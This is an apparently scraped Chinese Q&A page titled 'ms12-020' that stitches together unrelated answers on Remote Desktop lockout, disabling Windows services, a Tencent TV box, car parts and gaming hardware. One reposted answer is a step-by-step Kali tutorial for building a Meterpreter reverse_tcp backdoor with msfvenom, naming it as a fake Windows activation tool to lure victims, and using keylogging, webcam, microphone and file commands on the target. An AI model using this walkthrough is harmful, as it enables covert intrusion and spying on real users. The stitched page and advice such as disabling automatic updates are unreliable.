ms12-020

时间：2024-07-20 19:43:24编辑：奇事君

WINDOS 远程桌面总被人暴力破解如何限制登录次数

　　设置步骤如下：　　1、点击开始，点击运行，输入gpedit.msc，点击确定；　　2、依次点击展开计算机配置--windows设置--安全设置--账户策略--账户锁定策略，双击右侧列表账户锁定阀值；　　3、输入允许的次数，点击确定；　　4、弹出对话框提示锁定时间和重置时间将设置为30分钟，点击确定即可。

[create_time]2017-10-04 15:10:45[/create_time]2011-08-24 17:21:20[finished_time]5[reply_count]25[alue_good]huanglenzhi[uname]https://himg.bdimg.com/sys/portrait/item/public.1.3581d373.hXH0XydlHn5rhGjSCbe2Xg.jpg[avatar]知道合伙人数码行家[slogan]长期从事计算机组装，维护，网络组建及管理。对计算机硬件、操作系统安装、典型网络设备具有详细认知。[intro]21159[view_count]

微软漏洞MS12-020的数字含义是什么？

APP的漏洞可别小看了，腾讯玄武实验室不就发现了一个应用克隆漏洞
这种漏洞危害可是特别大的，可以无限的去复制应用，导致应用内的信息泄露出去
所以发现应用更新了不要不理会，一定要及时的去更新，另外安装管家类软件来保护手机安全

[create_time]2018-01-14 23:51:23[/create_time]2018-02-05 12:55:01[finished_time]1[reply_count]0[alue_good]帐号已注销[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.da1a4134.cUPJA61NwVoO-JSzOHyjJQ.jpg?time=2156&tieba_portrait_time=2156[avatar]TA获得超过1573个赞[slogan]这个人很懒，什么都没留下![intro]680[view_count]

有几种防止远程桌面被人攻击的方法

必须禁止的服务

1.NetMeeting Remote Desktop Sharing:允许受权的用户通过NetMeeting在网络上互相访问对方。这项服务对大多数个人用户并没有多大用处，况且服务的开启还会带来安全问题，因为上网时该服务会把用户名以明文形式发送到连接它的客户端，黑客的嗅探程序很容易就能探测到这些账户信息。

2.Universal Plug and Play Device Host:此服务是为通用的即插即用设备提供支持。这项服务存在一个安全漏洞，运行此服务的计算机很容易受到攻击。攻击者只要向某个拥有多台Win XP系统的网络发送一个虚假的UDP包，就可能会造成这些Win XP主机对指定的主机进行攻击(DDoS)。另外如果向该系统1900端口发送一个UDP包，令“Location”域的地址指向另一系统的chargen端口，就有可能使系统陷入一个死循环，消耗掉系统的所有资源(需要安装硬件时需手动开启)。

3.Messenger:俗称信使服务，电脑用户在局域网内可以利用它进行资料交换(传输客户端和服务器之间的Net Send和Alerter服务消息，此服务与Windows Messenger无关。如果服务停止，Alerter消息不会被传输)。这是一个危险而讨厌的服务，Messenger服务基本上是用在企业的网络管理上，但是垃圾邮件和垃圾广告厂商，也经常利用该服务发布弹出式广告，标题为“信使服务”。而且这项服务有漏洞，MSBlast和Slammer病毒就是用它来进行快速传播的。

4.Terminal Services:允许多位用户连接并控制一台机器，并且在远程计算机上显示桌面和应用程序。如果你不使用Win XP的远程控制功能，可以禁止它。

5.Remote Registry:使远程用户能修改此计算机上的注册表设置。注册表可以说是系统的核心内容，一般用户都不建议自行更改，更何况要让别人远程修改，所以这项服务是极其危险的。

6.Fast User Switching Compatibility:在多用户下为需要协助的应用程序提供管理。Windows XP允许在一台电脑上进行多用户之间的快速切换，但是这项功能有个漏洞，当你点击“开始→注销→快速切换”，在传统登录方式下重复输入一个用户名进行登录时，系统会认为是暴力破解，而锁定所有非管理员账户。如果不经常使用，可以禁止该服务。或者在“控制面板→用户账户→更改用户登录或注销方式”中取消“使用快速用户切换”。

7.Telnet:允许远程用户登录到此计算机并运行程序，并支持多种 TCP/IP Telnet客户，包括基于 UNIX 和 Windows 的计算机。又一个危险的服务，如果启动，远程用户就可以登录、访问本地的程序，甚至可以用它来修改你的ADSL Modem等的网络设置。除非你是网络专业人员或电脑不作为服务器使用，否则一定要禁止它。

8.Performance Logs And Alerts:收集本地或远程计算机基于预先配置的日程参数的性能数据，然后将此数据写入日志或触发警报。为了防止被远程计算机搜索数据，坚决禁止它。

9.Remote Desktop Help Session Manager:如果此服务被终止，远程协助将不可用。

10.TCP/IP NetBIOS Helper:NetBIOS在Win 9X下就经常有人用它来进行攻击，对于不需要文件和打印共享的用户，此项也可以禁用。
可以禁止的服务

以上十项服务是对安全威胁较大的服务，普通用户一定要禁用它。另外还有一些普通用户可以按需求禁止的服务:

1.Alerter:通知所选用户和计算机有关系统管理级警报。如果你未连上局域网且不需要管理警报，则可将其禁止。

2.Indexing Service:本地和远程计算机上文件的索引内容和属性，提供文件快速访问。这项服务对个人用户没有多大用处。

3.Application Layer Gateway Service:为Internet连接共享和Internet连接防火墙提供第三方协议插件的支持。如果你没有启用Internet连接共享或Windows XP的内置防火墙，可以禁止该服务。

4.Uninterruptible Power Supply:管理连接到计算机的不间断电源，没有安装UPS的用户可以禁用。

5.Print Spooler:将文件加载到内存中以便稍后打印。如果没装打印机，可以禁用。

6.Smart Card:管理计算机对智能卡的读取访问。基本上用不上，可以禁用。

7.Ssdp Discovery Service:启动家庭网络上的upnp设备自动发现。具有upnp的设备还不多，对于我们来说这个服务是没有用的。

8.Automatic Updates:自动从Windows Update网络更新补丁。利用Windows Update功能进行升级，速度太慢，建议大家通过多线程下载工具下载补丁到本地硬盘后，再进行升级。

9.Clipbook:启用“剪贴板查看器”储存信息并与远程计算机共享。如果不想与远程计算机进行信息共享，就可以禁止。

10.Imapi Cd-burning Com Service:用Imapi管理CD录制，虽然Win XP中内置了此功能，但是我们大多会选择专业刻录软件，另外如果没有安装刻录机的话，也可以禁止该服务。

11.Workstation:创建和维护到远程服务的客户端网络连接。如果服务停止，这些连接都将不可用。

12.Error Reporting Service:服务和应用程序在非标准环境下运行时，允许错误报告。如果你不是专业人员，这个错误报告对你来说根本没用。
参考资料：http://www.jd-bbs.com/archiver/?tid-957720.html

[create_time]2008-01-15 13:25:46[/create_time]2008-02-04 13:23:58[finished_time]5[reply_count]2[alue_good]百度网友31f3460[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.9e3d18b0.mPTpdDdEtd7wyLYZAvcnbg.jpg?time=2820&tieba_portrait_time=2820[avatar]超过10用户采纳过TA的回答[slogan]这个人很懒，什么都没留下![intro]10635[view_count]

怎样扫描电脑中有没有漏洞？别人通过电脑漏洞攻击我电脑让我的电脑中毒是怎么回事？别人又是怎样知道...

病毒在变异系统会有漏洞病毒木马就会乘虚而入漏洞就是系统的弊端、弱点。容易被攻击、被攻击者掌握你家电脑的主动权。你可以用360安全卫士进行全盘检查，他有智能修复功能如果它提示系统漏洞要修复，那就是应该要修复的有的漏洞不用修复他就会忽所以不必在意！这样不会影响系统的运行，希望对你有帮助。

[create_time]2012-05-12 22:45:22[/create_time]2012-05-27 13:10:10[finished_time]6[reply_count]1[alue_good]酱油吧9f[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.85d6fa7f.vOauMZ9r5OzZ3K6LWoCl7Q.jpg?time=7484&tieba_portrait_time=7484[avatar]TA获得超过4041个赞[slogan]这个人很懒，什么都没留下![intro]450[view_count]

腾讯极光盒子4Pro新品发布

6月8日，腾讯极光盒子4Pro新品正式发布，该款盒子定位为旗舰系列高端产品，与上一代相比，新品功能有所升级，包括玩法、视听等方面。

　　腾讯极光盒子4Pro此次将云游戏、OS、手柄、主芯片等联合进行优化，降低游戏延迟，确保用户体验。产品将支持手机OTT盒子助手，用户可编辑控制盒子播放、快捷设置、应用管理等。此外还新增了全民K歌、微信视频通话功能。

　　在视听效果方面，腾讯极光盒子4Pro支持DOLBY AUDIO（Dolby Atmos/MS12音效解码）、DOLBY vision，用户将身临其境，畅享杜比视听、极光臻彩世界。

　　与此同时，新品还将搭载安卓11.0系统，系统运行更快，兼容性更强，并支持安装各类TV端应用。

　　据悉，新品腾讯极光盒子4Pro将于6月28日在线上首发，首发价为699元。

[create_time]2022-07-03 19:43:23[/create_time]2022-07-17 18:46:20[finished_time]1[reply_count]0[alue_good]金诺科技17[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.52dfc603.OIXqh_bTuXQVx-a4WDi0Cw.jpg?time=580&tieba_portrait_time=580[avatar]TA获得超过1247个赞[slogan]这个人很懒，什么都没留下![intro]95[view_count]

腾讯极光4Pro盒子值得买吗，都有哪些优缺点？

大概在两个月前腾讯静悄悄地推出了新一代的盒子“腾讯极光4Pro”这款产品，从外观上看似乎和上一代3Pro没有太多大的差别，只是在材质上出现了变化，把3 Pro的切割凹凸纹理换成了镜面材质，手感的体验确实要好很多，目前来说是使用了一段时间的腾讯极光4Pro，那么这款产品值不值得购买呢？下面主要就来聊聊这方面的内容。新一代的腾讯极光4Pro除了外观材质的改变外，硬件方面也给予了一定的升级，4 Pro采用的是晶晨S905X4-J处理器，它其实是S905X4的衍生版本，都是在上一代3 Pro搭载的S905X3的基础上做了一个音频、视频解码格式（4K 120fps AV1）上的一个升级，那么在核心架构以及制程的工艺方面基本是没有改变的，其次，内存配置也是从上一代的4GB+32GB升级成了4GB+64GB的容量，可以说总体的提升并不是很明显，只是细微的做了一些小调整。值得注意的是腾讯极光4Pro内置的是Android 11.0版本，且没有开机广告，这和如今市场上众多的盒子品牌相比的话确实要良心很多。初次使用连接WiFi是没有问题的，不过要是接入网线的话则是需要手动配置自家的IP地址，选择自动配置是无效的，这一点不知道是产品线的问题还是就我这一款盒子出现的问题，总之手动配置完即可插入网线使用了。主界面的整体布局是常用的横向式分布，内容专栏可谓是相当的丰富，短视频、电视剧、电影、综艺、少儿、动漫、新闻等栏目尽收眼底，看久了会稍微感觉有些繁琐，不过也仁者见仁，若是主界面能够DIY自由编辑就更好了。腾讯极光4Pro的特色一大特色是内置了独家的NBA 体育资源，可以看到诸多的NBA赛程以及其它和NBA相关的新闻内容，但同时也要开通体育会员VIP才行，和腾讯视频的VIP是不一样的。搜索影视内容的话就只能够搜索到腾讯视频自家的资源，其它影视资源平台是需要自己下载的，并且语音功能也仅仅支持自带的应用，就是说第三方应用是不支持语音助手的，没有做到全局式的语音使用起来其实比较一般。在显示方面，腾讯极光4 Pro支持8K解码+杜比视界+杜比全景声功能，这对于影视爱好者群体是非常友好的，体验上能够提高一个档次，不过要注意是，自家的电视也要支持这些功能才行，否则作用就大打折扣了。不得不说的是S905X4这款处理器属于中端处理器，而在性能方面通过跑分软件也得出了结果，单核跑分893，多核跑分2112。腾讯极光4 Pro和与它价格差不太多的当贝B3 Pro相比的话，性能方面就有着些许的落后了，当贝B3 Pro采用的是晶晨S922X处理器，而这款处理器是以高端路线为主的。 1、对于还在使用上一代极光3 Pro的用户来说没有太多的必要换成最新一代的产品，因为本身腾讯极光4 Pro的提升并不会是很大。 2、对于没有使用过的此产品的用户来说值得入手，主要是能够满足日常的基本需求，并且在显示方面有着突出的体验，支持杜比视界+HDR10+BT.2020色域。 3、对盒子性能有高要求的话也不不太建议选择这款产品，因为本身S905X4就不是属于高端的处理器，只能说日常使用基本没问题。总结：在使用了一段时间腾讯极光4 Pro这款产品后，总体的感觉就是能够满足日常的基本需求，支持的杜比视界+杜比全景声的功能是影视爱好者的福音，而对于盒子性能又较高要求的用户可以考虑当贝B3 Pro这种性能高的产品，因为本来这两款产品的价格差距就不大。

[create_time]2022-07-08 22:50:02[/create_time]2022-07-17 12:30:50[finished_time]1[reply_count]0[alue_good]顺畅且平实灬布丁7942[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.a193b97._YzgBaYxZjMJ558EJTUWUw.jpg?time=4241&tieba_portrait_time=4241[avatar]TA获得超过3334个赞[slogan]这个人很懒，什么都没留下![intro]87[view_count]

Kali利用msf渗透Windows电脑（超详细）

前言最近整理了一些奇安信&华为&深信服大佬的课件资料+大厂面试课题，想要的可以私信自取，无偿赠送给粉丝朋友~ msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。 MSFvenom是Msfpayload和Msfencode的组合，将这两个工具都放在一个Framework实例中。自2015年6月8日起，msfvenom替换了msfpayload和msfencode。演示环境使用Kali 2021.3进行演示操作目标靶机： Win10专业版软件：msfvenom、msfconsole（Kali系统内置） 1.进入管理员模式命令： sudo su 解释：不在管理员模式下运行可能会有权限不够的提示，为了避免命令执行失败，在管理员下运行以下命令命令： msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip> LPORT=本地端口号> –f exe –o 文件名>.exe 解释：本地ip写自己Kali的IP地址，用ifconfig就能查看自己Kali的IP地址本地端口自己随便设置一个没有被占用的端口号，如果端口号被占用那么文件会生成失败，换一个端口号就性文件名可以随便写自己喜欢的名字，比如写Win10激活工具，可能更容易让目标主机上钩当然MSF也可以用来渗透手机、mac、Linux等接下来运行命令生成文件默认生成的文件在根目录下把刚才生成的文件放到目标靶机Win10系统中命令： msfconsole (1)命令： use exploit/multi/handler（选择模块） (2)命令： set payload windows/meterpreter/reverse_tcp（选择攻击模块） (3)命令： set LhOST 192.168.32.1（填写自己主机的IP地址） (4)命令： set lport 1111（填写刚才生成文件时的端口号） (5)命令： show options（查看设置参数） (6)命令： exploit -z -j（后台执行）我们这里也可以把这个程序伪装一下，把他的图标改一下，或者把它捆绑在某些软件上面，当用户打开就自动安装到对方电脑上面 (1)命令： sessions （查看上钩的用户） (2)命令： sessions -i 1 （选择需要攻击的用户，这里选择第 1 个命令： run vnc -i cmd指令: cat 读取文件内容到屏幕 cd 更改目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件（ls 的别名）下载下载文件或目录编辑编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 创建目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 pkill 按名称终止进程 keyscan_start 开始捕获击键（开始键盘记录） keyscan_dump 转储按键缓冲（下载键盘记录） keyscan_stop 停止捕获击键（停止键盘记录） record_mic X秒从默认的麦克风record_mic音频记录（音频录制） webcam_chat 开始视频聊天（视频，对方会有弹窗） webcam_list 单摄像头（查看摄像头列表） webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片） webcam_stream 播放视频流从指定的摄像头（开启摄像头监控） enumdesktops 列出所有可访问的桌面和窗口站（窗体列表） getdesktop 得到当前的Meterpreter桌面 reboot 重新启动远程计算机 shutdown 关闭远程计算机 shell 放入系统命令 shell enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的屏幕截图 setdesktop 更改 Meterpreters 当前桌面 uictl 控制一些用户界面组件 record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 播放来自指定网络摄像头的视频流 play 在目标系统上播放波形音频文件 (.wav) getsystem 尝试将您的权限提升到本地系统的权限 execute -f notepad 打开记事本 ———————————————— 原文链接：https://blog.csdn.net/RFZ_322/article/details/123367668

[create_time]2022-07-31 15:24:12[/create_time]2022-08-12 03:41:21[finished_time]1[reply_count]0[alue_good]伊彩缘17[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.b8d16630.UuQQnYFT5_CooArpEb7CMw.jpg?time=4649&tieba_portrait_time=4649[avatar]TA获得超过4424个赞[slogan]这个人很懒，什么都没留下![intro]75[view_count]

汽车配件的小问题

高仿的更有优势，在价钱上低于原厂，做工上高于副厂。高仿的厂家好多的原料都是和原车的一样，好多的大厂一台模具能做一千套，前面做的四百套都是原厂配件，剩下模具做出来的就差些了，成了高仿的。而且是没有标的。我们是做汽配的，很少有时候高仿的配件高于原车，这样的情况以前也有。副厂的就是只求产量，不求质量。

[create_time]2012-04-22 15:17:30[/create_time]2012-05-12 00:26:30[finished_time]4[reply_count]1[alue_good]陈亚伟91[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.20c91545.HSJMBwnSDLapEIXc5Xu-Hg.jpg?time=3853&tieba_portrait_time=3853[avatar][slogan]这个人很懒，什么都没留下![intro]604[view_count]

玩网络游戏对电脑的”主要”要求是什么？是主要要求！！！！

玩网络游戏其实基本和单机游戏差不多，要看你玩什么游戏，不同的游戏需要不同的配置，比如玩“传奇”奔腾3的处理器、GF2以上的显卡、256MB内存就可以了，如果玩“魔兽世界”这样的大型3D游戏，就需要至少赛扬D以上级的CPU、GF6以上的显卡、1G内存才可以流畅运行。还有就是网络条件一定要好，像“魔兽世界”这样的游戏，对网络就有一定要求，电信和网通是开设了专用服务器的。

[create_time]2006-08-19 20:49:54[/create_time]2006-08-21 21:11:39[finished_time]2[reply_count]0[alue_good]周华泽岚[uname]https://himg.bdimg.com/sys/portrait/item/wise.1.44112f10.tITCted5dDdKDhHPMlfmzg.jpg?time=2817&tieba_portrait_time=2817[avatar]TA获得超过149个赞[slogan]这个人很懒，什么都没留下![intro]1886[view_count]